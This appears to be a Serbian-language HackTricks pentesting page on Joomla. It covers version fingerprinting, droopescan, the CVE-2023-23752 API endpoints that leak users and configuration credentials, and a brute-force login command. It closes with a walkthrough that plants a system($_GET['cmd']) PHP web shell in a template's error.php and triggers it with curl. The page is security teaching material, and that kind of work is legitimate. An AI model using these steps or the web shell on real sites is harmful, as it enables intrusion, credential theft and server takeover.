Joomla

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Joomla Statistika

Joomla prikuplja neke anonimne statistike korišćenja kao što su raspodela verzija Joomla, PHP i baza podataka i operativnih sistema servera koji se koriste na Joomla instalacijama. Ovi podaci mogu biti upitani putem njihovog javnog API-ja.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeracija

Otkrivanje/Pratilac

  • Proverite meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Verzija

  • U /administrator/manifests/files/joomla.xml možete videti verziju.

  • U /language/en-GB/en-GB.xml možete dobiti verziju Joomla.

  • U plugins/system/cache/cache.xml možete videti približnu verziju.

droopescan scan joomla --url http://joomla-site.local/

API Neautentifikovano Otkrivanje Informacija:

Verzije od 4.0.0 do 4.2.7 su ranjive na neautentifikovano otkrivanje informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije.

  • Korisnici: http://<host>/api/v1/users?public=true

  • Konfiguracioni fajl: http://<host>/api/index.php/v1/config/application?public=true

MSF Modul: scanner/http/joomla_api_improper_access_checks ili ruby skripta: 51334

Brute-Force

Možete koristiti ovaj skript da pokušate da izvršite brute force login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Ako ste uspeli da dobijete admin pristupne podatke možete izvršiti udaljeni kod dodavanjem isečka PHP koda kako biste dobili RCE. To možemo uraditi prilagođavanjem šablona.

  1. Kliknite na Templates na dnu leve strane ispod Configuration kako biste otvorili meni sa šablonima.

  2. Kliknite na ime šablona. Izaberimo protostar pod Template zaglavljem. To će nas odvesti na stranicu Templates: Customise.

  3. Na kraju, možete kliknuti na stranicu da otvorite izvorni kod stranice. Izaberimo stranicu error.php. Dodajmo PHP jednolinijski kod za izvršenje koda na sledeći način:

  4. system($_GET['cmd']);

  5. Sačuvajte & Zatvorite

  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Last updated